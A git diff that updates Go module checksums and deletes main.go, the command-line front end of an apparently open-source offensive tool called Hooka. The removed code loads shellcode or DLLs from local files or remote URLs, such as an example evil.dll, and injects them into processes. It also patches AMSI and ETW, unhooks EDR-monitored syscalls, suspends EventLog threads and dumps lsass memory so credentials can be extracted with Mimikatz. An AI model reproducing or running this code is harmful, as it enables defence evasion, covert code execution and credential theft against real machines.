github.com/bmizerany/pat v0.0.0-20170815010413-6226ea591a40/go.mod h1:8rLXio+WjiTceGBHIoTvn60HIbs7Hm7bcHjyrSqYB9c=
github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps=
-github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A=
-github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE=
github.com/btcsuite/btcd/btcec/v2 v2.1.2/go.mod h1:ctjw4H1kknNJmRN4iP1R7bTQ+v3GJkZBd6mui8ZsAZE=
github.com/btcsuite/btcd/chaincfg/chainhash v1.0.0/go.mod h1:7SFka0XMvUgj3hfZtydOrQY2mwhPclbT2snogU7SQQc=
github.com/c-bata/go-prompt v0.2.2/go.mod h1:VzqtzE2ksDBcdln8G7mk2RX9QyGjH+OVqOCSiVIqS34=
@@ -68,8 +70,6 @@ github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5P
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cloudflare/cloudflare-go v0.14.0/go.mod h1:EnwdgGMaFOruiPZRFSgn+TsQ3hQ7C/YWzIGLeu5c304=
-github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ=
-github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
github.com/consensys/bavard v0.1.8-0.20210406032232-f3452dc9b572/go.mod h1:Bpd0/3mZuaj6Sj+PqrmIquiOKy397AKGThQPaGzNXAQ=
github.com/consensys/gnark-crypto v0.4.1-0.20210426202927-39ac3d4b3f1f/go.mod h1:815PAHg3wvysy0SyIqanF8gZ0Y1wjk/hrDHD/iT88+Q=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
@@ -77,6 +77,7 @@ github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ3
github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4=
github.com/dave/jennifer v1.2.0/go.mod h1:fIb+770HOpJ2fmN9EPPKOqm1vMGhB+TwXKMZhrIygKg=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/deckarep/golang-set v1.8.0/go.mod h1:5nI87KwE7wgsBU1F4GKAw2Qod7p5kyS383rP6+o6qqo=
github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc=
@@ -102,8 +103,6 @@ github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7
github.com/ethereum/go-ethereum v1.10.17 h1:XEcumY+qSr1cZQaWsQs5Kck3FHB0V2RiMHPdTBJ+oT8=
github.com/ethereum/go-ethereum v1.10.17/go.mod h1:Lt5WzjM07XlXc95YzrhosmR4J9Ahd6X2wyEV2SvGhk0=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
-github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
-github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
github.com/fjl/memsize v0.0.0-20190710130421-bcb5799ab5e5/go.mod h1:VvhXpOYNQvB+uIk2RvXzuaQtkQJzzIx6lSBe1xv7hi0=
github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
@@ -236,15 +235,10 @@ github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaO
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
-github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
-github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
-github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98=
-github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-sqlite3 v1.11.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
@@ -281,6 +275,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/term v0.0.0-20180730021639-bffc007b7fd5/go.mod h1:eCbImbZ95eXtAUIbLAuAVnBnwf83mjf6QIVH8SHYwqQ=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
@@ -319,6 +314,7 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7/go.mod h1:q4W45IWZaF22tdD+VEXcAWRA037jwmWEB5VWYORlTpc=
github.com/tinylib/msgp v1.0.2/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE=
@@ -456,14 +452,10 @@ golang.org/x/sys v0.0.0-20210420205809-ac73e9fd8988/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=
-golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
+golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
-golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
-golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
@@ -568,6 +560,7 @@ gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
diff --git a/main.go b/main.go
deleted file mode 100644
index 37af1a0..0000000
--- a/main.go
+++ /dev/null
@@ -1,656 +0,0 @@
-package main
-
-import (
- "encoding/base64"
- "encoding/hex"
- "flag"
- "os"
- "strings"
- "time"
-
- "github.com/D3Ext/Hooka/pkg/hooka"
-
- l "github.com/D3Ext/maldev/logging"
-)
-
-var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"}
-
-func main() {
- var shellcode []byte
- var err error
-
- var sc_url string
- var sc_file string
- var dll_file string
- var dll_url string
- var technique string
- var hook_detect bool
- var unhook int
- var base64_flag bool
- var hex_flag bool
- var test_flag bool
- var amsi bool
- var etw bool
- var lsass string
- var phantom bool
- var pid int
-
- l.PrintBanner("Hooka!")
- l.Println(" by D3Ext - v0.1")
- time.Sleep(100 * time.Millisecond)
-
- flag.StringVar(&sc_url, "url", "", "remote url where shellcode is stored (e.g. http://192.168.1.37/shellcode.bin)")
- flag.StringVar(&dll_url, "remote-dll", "", "remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)")
- flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
- flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
- flag.StringVar(&technique, "t", "", "shellcode injection technique (default: 1):\n 1: CreateRemoteThread\n 2: CreateRemoteThreadHalos\n 3: CreateProcess\n 4: EnumSystemLocales\n 5: EnumSystemLocalesHalos\n 6: Fibers\n 7: QueueUserApc\n 8: UuidFromString\n 9: EtwpCreateEtwThread\n 10: RtlCreateUserThread (PID required)")
- flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
- flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
- flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
- flag.BoolVar(&amsi, "amsi", false, "overwrite AmsiScanBuffer memory address to patch AMSI (Anti Malware Scan Interface)")
- flag.BoolVar(&etw, "etw", false, "overwrite EtwEventWrite memory address to patch ETW (Event Tracing for Windows)")
- flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
- flag.BoolVar(&phantom, "phantom", false, "use Phant0m technique to suspend EventLog threads (run with high privs)")
- flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
- flag.StringVar(&lsass, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run with high privs)")
- flag.IntVar(&pid, "pid", 0, "PID to inject shellcode into (only applies for certain techniques) (default: self)")
- flag.Parse()
-
- // Check if two main args were passed
- var args_check int = 0
-
- if sc_url != "" {
- args_check += 1
- }
- if sc_file != "" {
- args_check += 1
- }
- if dll_url != "" {
- args_check += 1
- }
- if dll_file != "" {
- args_check += 1
- }
- if test_flag {
- args_check += 1
- }
- if hook_detect {
- args_check += 1
- }
- if lsass != "" {
- args_check += 1
- }
- if phantom {
- args_check += 1
- }
-
- if args_check > 1 {
- l.Println()
- flag.PrintDefaults()
- l.Println("\n[-] Error: you can't use two main flags at the same time!\n")
- os.Exit(0)
-
- } else if args_check == 0 {
- l.Println()
- flag.PrintDefaults()
- os.Exit(0)
- }
-
- // Check if two encoding methods were especified
- var enc_check int
-
- if base64_flag {
- enc_check += 1
- }
- if hex_flag {
- enc_check += 1
- }
-
- if enc_check > 1 {
- l.Println()
- flag.PrintDefaults()
- l.Println("\n[-] Error: you can't use base64 and hex encoding at the same time\n")
- os.Exit(0)
- }
-
- if technique == "" {
- technique = "CreateRemoteThread"
- }
-
- // Check invalid injection technique
- var valid_t bool
- for _, t := range techniques {
- if strings.ToLower(t) == strings.ToLower(technique) {
- valid_t = true
- }
- }
-
- // Check if a required pid was especified
- if (strings.ToLower(technique) == "rtlcreateuserthread") || (technique == "10") {
- if pid == 0 {
- l.Println("\n[-] Error: a PID is required to inject shellcode into with this injection technique\n")
- os.Exit(0)
- }
- }
-
- if valid_t == false {
- l.Println()
- flag.PrintDefaults()
- l.Println("\n[-] Error: invalid shellcode injection technique! See help panel\n")
- os.Exit(0)
- }
-
- // Check unexpected values for unhooking flag
- if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) { // Check if user provided a non allowed value
- l.Println()
- flag.PrintDefaults()
- l.Println("\n[-] Error: invalid unhooking technique! 1=classic, 2=full, 3=Perun's Fart\n")
- os.Exit(0)
- }
-
- // Main code starts here
-
- if sc_url != "" {
-
- time.Sleep(200 * time.Millisecond)
- l.Println("\n[+] Remote shellcode URL: " + sc_url)
- time.Sleep(200 * time.Millisecond)
- if pid != 0 {
- l.Println("[+] Target PID:", pid)
- } else {
- l.Println("[+] Target PID: self")
- }
- time.Sleep(200 * time.Millisecond)
-
- // Check shellcode encoding flags
- if base64_flag {
- l.Println("[+] Shellcode encoding: base64")
- } else if hex_flag {
- l.Println("[+] Shellcode encoding: hex")
- } else {
- l.Println("[+] No encoding was especified")
- }
- time.Sleep(300 * time.Millisecond)
-
- l.Println("[*] Retrieving shellcode from url...")
- shellcode, err = hooka.GetShellcodeFromUrl(sc_url)
- if err != nil { // Handle error
- l.Println("[-] An error has occurred retrieving shellcode!")
- l.Fatal(err)
- }
- time.Sleep(300 * time.Millisecond)
-
- if base64_flag { // Decode shellcode if necessary
- l.Println("[*] Decoding shellcode...")
- shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
- if err != nil { // Handle error
- l.Fatal(err)
- }
- time.Sleep(300 * time.Millisecond)
-
- } else if hex_flag {
- l.Println("[*] Decoding shellcode...")
- shellcode, err = hex.DecodeString(string(shellcode))
- if err != nil { // Handle error
- l.Fatal(err)
- }
- time.Sleep(300 * time.Millisecond)
- }
-
- checkAmsi(amsi)
- checkEtw(etw)
- checkUnhook(unhook, strings.ToLower(technique))
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Injecting shellcode using " + technique + " technique")
-
- err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
- if err != nil { // Handle error
- l.Fatal(err)
- }
-
- time.Sleep(100 * time.Millisecond)
- l.Println("[+] Shellcode should be executed without errors!\n")
-
- } else if sc_file != "" {
-
- _, err := os.Stat(sc_file) // Check if file exists
- if os.IsNotExist(err) {
- l.Println("\n[-] Especified file doesn't exist!\n")
- time.Sleep(100 * time.Millisecond)
- os.Exit(0)
- }
-
- time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
- if pid != 0 {
- l.Println("\n[+] Target PID:", pid)
- } else {
- l.Println("\n[+] Target PID: self")
- }
- time.Sleep(200 * time.Millisecond)
- l.Println("\n[+] Shellcode file: " + sc_file)
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Getting shellcode from file...")
- time.Sleep(300 * time.Millisecond)
-
- shellcode, err = hooka.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
- if err != nil { // Handle error
- l.Fatal(err)
- }
-
- if base64_flag { // Check shellcode encoding flags
- l.Println("[+] Shellcode encoding: base64")
- shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
- if err != nil {
- l.Fatal(err)
- }
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Decoding shellcode")
- time.Sleep(300 * time.Millisecond)
-
- } else if hex_flag {
- l.Println("[+] Shellcode encoding: hex")
- shellcode, err = hex.DecodeString(string(shellcode))
- if err != nil { // Handle error
- l.Fatal(err)
- }
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Decoding shellcode")
- time.Sleep(300 * time.Millisecond)
-
- } else {
- l.Println("[+] No encoding was especified")
- time.Sleep(300 * time.Millisecond)
- }
-
- checkAmsi(amsi)
- checkEtw(etw)
- checkUnhook(unhook, strings.ToLower(technique))
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Injecting shellcode using " + technique + " technique")
-
- err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
- if err != nil { // Handle error
- l.Fatal(err)
- }
-
- time.Sleep(100 * time.Millisecond)
- l.Println("[+] Shellcode should be executed without errors!\n")
-
- } else if dll_file != "" {
-
- var dll_filename string
- var dll_func string
-
- if strings.Contains(dll_file, ",") { // Check if a function was especified
- dll_filename = strings.Split(dll_file, ",")[0] // Get DLL path
- dll_func = strings.Split(dll_file, ",")[1] // Get DLL function to execute
- } else {
- dll_filename = dll_file
- dll_func = ""
- }
-
- _, err := os.Stat(dll_filename) // Check if especified dll exists
- if os.IsNotExist(err) {
- l.Println("\n[-] Especified DLL doesn't exists!\n")
- time.Sleep(100 * time.Millisecond)
- os.Exit(0)
- }
-
- if pid != 0 {
- l.Println("\n[+] Target PID:", pid)
- } else {
- l.Println("\n[+] Target PID: self")
- }
-
- time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
- l.Println("[+] DLL file: " + dll_filename)
- time.Sleep(300 * time.Millisecond)
-
- if dll_func != "" {
- l.Println("[+] Function to execute: " + dll_func)
- } else {
- l.Println("[+] Function to execute: default")
- }
- time.Sleep(300 * time.Millisecond)
-
- l.Println("[*] Converting " + dll_filename + " to shellcode")
- shellcode, err := hooka.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
- if err != nil { // Handle error
- l.Fatal(err)
- }
- time.Sleep(300 * time.Millisecond)
- l.Println("[+] Process finished successfully!")
- time.Sleep(200 * time.Millisecond)
-
- checkAmsi(amsi)
- checkEtw(etw)
- checkUnhook(unhook, strings.ToLower(technique))
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Injecting shellcode using " + technique + " technique")
-
- err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
- if err != nil { // Handle error
- l.Fatal(err)
- }
-
- time.Sleep(100 * time.Millisecond)
- l.Println("[+] Shellcode should be executed without errors!\n")
-
- } else if dll_url != "" {
-
- var dll_func string
- var dll_url string
-
- if len(strings.Split(dll_url, ",")) >= 2 {
- dll_func = strings.Split(dll_url, ",")[1]
- dll_url = strings.Split(dll_url, ",")[0]
- } else {
- dll_func = ""
- dll_url = strings.Split(dll_url, ",")[0]
- }
-
- if pid != 0 {
- l.Println("\n[+] Target PID:", pid)
- } else {
- l.Println("\n[+] Target PID: self")
- }
-
- time.Sleep(200 * time.Millisecond)
- if dll_func != "" {
- l.Println("[+] Function to execute: " + dll_func)
- } else {
- l.Println("[+] Function to execute: default")
- }
- time.Sleep(300 * time.Millisecond)
-
- l.Println("[*] Retrieving DLL from url...")
- dll_bytes, err := hooka.GetShellcodeFromUrl(dll_url)
- if err != nil { // Handle error
- l.Println("[-] An error has occurred retrieving remote dll!")
- l.Fatal(err)
- }
- time.Sleep(300 * time.Millisecond)
-
- if base64_flag { // Check shellcode encoding flags
- l.Println("[+] Shellcode encoding: base64")
- dll_bytes, err = base64.StdEncoding.DecodeString(string(dll_bytes))
- if err != nil {
- l.Fatal(err)
- }
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Decoding shellcode...")
- time.Sleep(300 * time.Millisecond)
-
- } else if hex_flag {
- l.Println("[+] Shellcode encoding: hex")
- dll_bytes, err = hex.DecodeString(string(dll_bytes))
- if err != nil { // Handle error
- l.Fatal(err)
- }
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Decoding shellcode...")
- time.Sleep(300 * time.Millisecond)
-
- } else {
- l.Println("[+] No encoding was especified")
- time.Sleep(300 * time.Millisecond)
- }
-
- l.Println("[*] Converting raw bytes to shellcode")
- shellcode, err := hooka.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode
- if err != nil { // Handle error
- l.Fatal(err)
- }
- time.Sleep(300 * time.Millisecond)
- l.Println("[+] DLL converted successfully!")
- time.Sleep(200 * time.Millisecond)
-
- checkAmsi(amsi)
- checkEtw(etw)
- checkUnhook(unhook, strings.ToLower(technique))
-
- time.Sleep(300 * time.Millisecond)
- l.Println("[*] Injecting DLL shellcode using " + technique + " technique")
-
- err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
- if err != nil { // Handle error
- l.Fatal(err)
- }
-
- time.Sleep(200 * time.Millisecond)
- l.Println("[+] Shellcode should be executed without errors!\n")
-
- } else if hook_detect { // Enter here if --hooks flag was especified
-
- l.Println("\n[*] Detecting hooked functions...")
-
- all_hooks, err := hooka.DetectHooks() // Get all hooked functions
- if err != nil { // Handle error
- l.Fatal(err)
- }
- l.Println("[+] Process finished")
-
- if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
- time.Sleep(200 * time.Millisecond)
- l.Println("[*] Hooked functions:\n")
- for _, h := range all_hooks {
- l.Println(h)
- }
- l.Println()
- time.Sleep(200 * time.Millisecond)
-
- } else {
- time.Sleep(200 * time.Millisecond)
- l.Println("[+] No function is hooked!\n")
- time.Sleep(100 * time.Millisecond)
- }
-
- } else if test_flag {
-
- l.Println("\n[*] Testing with calc.exe shellcode")
- time.Sleep(200 * time.Millisecond)
-
- checkAmsi(amsi)
- checkEtw(etw)
- checkUnhook(unhook, strings.ToLower(technique))
-
- l.Println("[*] Injecting shellcode using " + technique + " technique")
-
- err := hooka.Inject(hooka.CalcShellcode(), technique, pid) // Inject calc.exe shellcode
- if err != nil { // Handle error
- l.Fatal(err)
- }
- l.Println("[+] Shellcode should be executed!\n")
-
- } else if phantom {
- l.Println("\n[*] Checking high privileges")
- privs, err := hooka.CheckHighPrivs()
- if err != nil {
- l.Fatal(err)
- }
- time.Sleep(200 * time.Millisecond)
-
- if privs == false {
- l.Println("[-] Error: you need high privs to perform this operation!\n")
- os.Exit(0)
- }
-
- l.Println("[*] Searching EventLog PID")
- eventlog_pid, err := hooka.GetEventLogPid()
- if err != nil {
- l.Fatal(err)
- }
-
- time.Sleep(200 * time.Millisecond)
- l.Println("[+] PID found:", int(eventlog_pid))
- time.Sleep(200 * time.Millisecond)
- l.Println("[*] Enabling SeDebugPrivilege...")
- time.Sleep(200 * time.Millisecond)
-
- l.Println("[*] Suspending EventLog threads")
- err = hooka.Phant0mWithOutput(eventlog_pid)
- if err != nil {
- l.Fatal(err)
- }
- l.Println("[+] Threads killed successfully!\n")
-
- } else if lsass != "" { // Enter here if --lsass flag was especified
-
- if unhook == 1 {
- l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
- time.Sleep(200 * time.Millisecond)
- err := hooka.ClassicUnhook([]string{"NtReadVirtualMemory"}, "C:\\Windows\\System32\\ntdll.dll")
- if err != nil {
- l.Fatal(err)
- }
-
- } else if unhook == 2 {
- l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
- time.Sleep(200 * time.Millisecond)
- err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
- if err != nil {
- l.Println("[-] An error has occurred while unhooking functions!")
- l.Fatal(err)
- }
-
- } else if unhook == 3 {
- l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
- time.Sleep(200 * time.Millisecond)
- err := hooka.PerunsUnhook()
- if err != nil {
- l.Println("[-] An error has occurred while unhooking functions!")
- l.Fatal(err)
- }
- }
-
- checkAmsi(amsi)
- checkEtw(etw)
-
- l.Println("[*] Dumping lsass.exe process to " + lsass)
-
- err := hooka.DumpLsass(lsass)
- if err != nil { // Handle error
- l.Println("[-] An error has occurred, ensure to be running as admin:")
- e := os.Remove(lsass)
- if e != nil {
- l.Fatal(e)
- }
-
- l.Fatalln(err)
- }
-
- info, err := os.Stat(lsass)
- if err != nil {
- l.Fatalln(err)
- }
-
- l.Println("[*]", info.Size(), "bytes were written to file")
- time.Sleep(100 * time.Millisecond)
- l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n")
- time.Sleep(100 * time.Millisecond)
-
- }
-
-}
-
-func checkAmsi(check bool) {
- if check {
- l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
- time.Sleep(200 * time.Millisecond)
- err := hooka.PatchAmsi()
- if err != nil {
- l.Println("[-] An error has occurred while overwriting memory!")
- l.Fatal(err)
- }
- time.Sleep(200 * time.Millisecond)
- }
-}
-
-func checkEtw(check bool) {
- if check {
- l.Println("[*] Patching ETW by overwriting some EtwEventWrite functions memory address...")
- time.Sleep(200 * time.Millisecond)
- err := hooka.PatchEtw()
- if err != nil {
- l.Println("[-] An error has occurred while overwriting memory!")
- l.Fatal(err)
- }
- time.Sleep(200 * time.Millisecond)
- }
-}
-
